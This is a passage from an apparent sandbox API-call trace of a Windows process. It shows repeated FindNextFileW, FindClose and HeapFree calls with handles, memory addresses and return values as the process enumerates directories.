lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0266.326] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0266.326] FindClose (in: hFindFile=0x380c0a0 | out: hFindFile=0x380c0a0) returned 1 [0266.326] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0266.326] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0266.350] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0266.351] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0266.366] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0266.372] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0266.372] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0266.890] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0266.890] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.015] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.059] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.086] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.086] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.278] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.278] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.333] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.368] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.423] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.424] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.444] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.589] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.589] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0267.681] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.681] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0267.681] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0267.681] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0267.682] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0267.682] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0267.684] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0267.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0267.791] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0267.812] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0267.813] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0267.813] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0267.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0267.815] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0267.818] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0267.818] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0267.822] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0267.822] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0267.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0267.846] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0267.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.846] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0267.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0267.849] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0267.849] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0267.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0267.849] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0267.849] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0267.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.849] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0267.864] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0267.864] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0267.864] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0267.864] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0267.864] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0268.721] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0268.721] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0268.721] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0268.721] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0268.721] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0268.721] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0268.721] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0268.721] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0268.721] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0268.723] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0268.723] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0268.723] FindClose (in: hFindFile=0x380c0a0 | out: hFindFile=0x380c0a0) returned 1 [0268.724] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0268.724] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0268.724] FindClose (in: hFindFile=0x380bf60 | out: hFindFile=0x380bf60) returned 1 [0268.724] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.724] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0268.726] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0268.726] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0268.728] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0268.728] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0268.730] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0268.730] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0268.730] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0268.731] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.731] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0268.734] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.734] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0268.734] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0268.734] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0268.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0268.735] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0268.735] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0268.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0268.736] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0268.736] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0268.736] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.736] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0268.744] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.744] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0268.744] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0268.744] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0268.744] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0268.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.748] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0268.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0268.748] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0268.749] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0268.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0268.749] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0268.885] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0268.885] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0269.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0269.276] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.034] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.034] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.035] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.035] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.035] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.035] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.036] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.036] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.036] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.037] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.037] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.037] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.038] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.038] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.038] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.039] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.039] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.039] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.039] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.040] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.040] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.040] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.041] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.041] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.041] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.041] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.042] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.042] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.042] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.042] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.043] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.043] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.043] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.044] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.044] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.044] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.044] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.045] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.045] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.045] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.045] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.045] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.046] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.046] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.046] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.046] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.046] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.047] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0270.197] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0270.197] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0270.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.197] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.281] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.301] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.301] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.337] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.356] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.356] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.357] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.357] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.358] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.358] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0270.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.359] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.369] FindNextFileW (in: hFindFile=0x380c9e0, 